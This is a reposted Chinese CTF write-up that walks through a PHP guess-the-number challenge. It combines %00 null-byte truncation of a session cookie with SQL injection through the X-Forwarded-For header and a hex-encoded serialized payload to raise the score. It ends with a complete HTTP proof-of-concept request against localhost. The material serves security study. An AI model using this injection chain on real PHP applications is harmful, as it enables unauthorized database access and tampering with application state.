%00截断配合反序列化的奇妙利用

栏目: 编程工具 · 发布时间: 6年前

内容简介:前段时间做了一个CTF题目,发现这道题目相当的精妙,主要是利用了整个代码十分的简单,就是猜数字的游戏,但是按照正常的逻辑是无法成功的,那么必然存在漏洞。

%00截断配合反序列化的奇妙利用

前言

前段时间做了一个CTF题目,发现这道题目相当的精妙,主要是利用了 %00 的截断来绕过安全校验,最终利用反序列化达成目的。

漏洞分析

整个代码十分的简单,就是猜数字的游戏,但是按照正常的逻辑是无法成功的,那么必然存在漏洞。

config.php 中:

foreach ($_GET as $key => $value ) {
    $_GET[$key] = daddslashes($value);
}
foreach ($_POST as $key => $value ) {
    $_POST[$key] = daddslashes($value);
}
foreach ($_COOKIE as $key => $value ) {
    $_COOKIE[$key] = daddslashes($value);
}
foreach ($_SERVER as $key => $value ) {
    $_SERVER[$key] = addslashes($value);
}
function daddslashes($string) {
    if(!get_magic_quotes_gpc()) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val);
            }
        } else {
            $string = addslashes($string);
        }
    }
    return $string;
}

对GET、POST、Cookie和SERVER都进行了转义。

分析 session.class.php 代码:

class session
{

    function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID')
    {
        $this->dbConn  = $db;
        $this->session_name = $session_name;
        $this->session_table = $session_table;
        $this->_ip = $this->real_ip();
        // some other code
        if ($session_id == '' && !empty($_COOKIE[$this->session_name]))
        {
            $this->session_id = $_COOKIE[$this->session_name];
        }

        // some other code
        if ($this->session_id)
        {
            $this->load_session();
        }
        else
        {
            $this->gen_session_id();

            setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id));
        }

    }

    function real_ip()
    {
        static $realip = NULL;

        if ($realip !== NULL)
        {
            return $realip;
        }

        if (isset($_SERVER))
        {
            if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
            {
                $realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            }
            elseif (isset($_SERVER['HTTP_CLIENT_IP']))
            {
                $realip = $_SERVER['HTTP_CLIENT_IP'];
            }
            else
            {
                if (isset($_SERVER['REMOTE_ADDR']))
                {
                    $realip = $_SERVER['REMOTE_ADDR'];
                }
                else
                {
                    $realip = '0.0.0.0';
                }
            }
        }
        else
        {
            $realip = '0.0.0.0';
        }
        return $realip;
    }
}

其中,变量 $this->_ip 是由函数real_ip()得到,其实是从 $_SERVER['HTTP_X_FORWARDED_FOR'] 等变量中取到的,意味着变量 $_SERVER['HTTP_X_FORWARDED_FOR'] 是可控的。

变量 $this->session_id 是从变量 $_COOKIE["SESSID"] 中得到的,同样是可控的。

所以目前看到这里,我们已经知道了变量 $this->_ip 和变量 $this->session_id 都是我们可控的。

发现在初始化中存在如下代码:

if ($this->session_id) {
    $this->load_session();
}

如果存在 $this->session_id ,则调用 load_session() 函数,跟踪进入到 load_session() 中,进一步分析

function load_session()
{
    $res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");
    $session = $res->fetch_array();
    if (empty($session))
    {
        $this->insert_session();
    }
    else
    {
        $GLOBALS['_SESSION']  = unserialize($session['data']);
    }
}

可以发现,在 SQL 语句中直接使用了 $this->_ip ,而这个 $this->_ip 是我们可控的, $this->session_id 也是可控的,其次最后将数据取出来时使用了 unserialize($session['data']) 反序列化的操作。

根据直觉猜解,这个问题可能和SQL注入以及序列化漏洞有关。

漏洞利用

根据上面的猜测,漏洞可能和SQL注入以及序列化相关。但是漏洞利用均存在一定程度的问题。对于参数 $this->_ip ,虽然我们可控,但是还是被 ' 包裹,同时之前也进行了转义,所以如果要利用必须要能够逃逸出单引号。其次,对于序列化漏洞,需要从 $session['data'] 中读入数据,所以要能够利用序列化漏洞的话,则需要 $session['data'] 的内容是可控的。但是通过分析,对于数据库中 data 表的数据我们是不可控的,所以序列化的利用也存在很大的问题了。

其实问题的本质是在于SQL注入漏洞,如果能够成功地进行 union 注入,也就意味着 $session['data'] 的内容是可控的。那么问题就转为了如何进行注入了,注入的关键问题是在于逃脱引号。

分析SQL语句 SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'

如果 $this->_ip 无法逃逸出单引号,那么可以考虑一下 $this->session_id 是否能够逃逸出单引号。继续分析代码,

$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
{
    $this->session_id = $tmp_session_id;
}

可以发现使用了 substr() 方法进行了阶段,那么是否能够利用截断的方法得到一个 呢?通过一个例子进行说明:

$mystr = "c4ca4238a0b923820dcc509a6f75849'";
$mystr = addslashes($mystr);
var_dump($mystr);   // 结果为 c4ca4238a0b923820dcc509a6f75849' (length=33)
var_dump(substr($mystr, 0, 32));  //结果为 c4ca4238a0b923820dcc509a6f75849 (length=32)

说明通过截断的方式保留 是可行的。

解决了SQL注入的问题,接下来就需要解决反序列化的问题,序列化是字符串,但是由于之前使用了 addslashes 进行转义,即使能够使用SQL注入也无法进行反序列, 此时需要可以采用十六进制来解决这个问题了。

漏洞实施

在进行实际的测试时,我发现通过 ' 会存在问题。当我们设置 SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059 时,代码运行至:

$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
{
    $this->session_id = $tmp_session_id;
}

其中的 $tmp_session_id ,截断之后变为 c4ca4238a0b923820dcc509a6f75849 。此时计算:

$this->gen_session_key($tmp_session_id)    // 得到 eb2d9059
substr($this->session_id, 32)              // 得到 'eb2d9059

可以看到多余的 ' 被保留了,导致此处的判断无法相等,这样就存在问题。后来想到可以使用 %00 的方式得到

$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00";
$mystr = urldecode($mystr);
$mystr = addslashes($mystr);
var_dump($mystr);    // 得到  QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)

这样多余的0就可以作为后面的校验值了。

当我们设置 SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 时,运行的结果如下:

%00截断配合反序列化的奇妙利用

这样就完成了SQL注入的第一步了,下面就是构造序列化的内容,然后转换为十六进制。序列化的内容十分的简单,需要设置分数大于100份即可, a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";} ,转换为十六进制 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d

至此,所有的问题都解决了,最后的PoC为:

GET URL HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457
X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d #
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

注意设置Cookie和XXF。

总结

一般的截断通过是为了保留得到单引号,但是相较于常规的截断手法,你会发现在本例中完全不适用,无法绕过关键的校验是 $this->gen_session_key($tmp_session_id) == substr($this->session_id, 32) ,同时在绕过了这个校验之后还需要保留单引号,最终采用 %00 截断完美地解决了这个问题。

这是一道非常好的题目,虽然所有的考察点都知道,但是结合在一起确实如此的精妙,遇到了问题看来需要多想多思考,在安全这条路上还有很长的一段路要走。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Pattern Recognition and Machine Learning

Pattern Recognition and Machine Learning

Christopher Bishop / Springer / 2007-10-1 / USD 94.95

The dramatic growth in practical applications for machine learning over the last ten years has been accompanied by many important developments in the underlying algorithms and techniques. For example,......一起来看看 《Pattern Recognition and Machine Learning》 这本书的介绍吧!

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具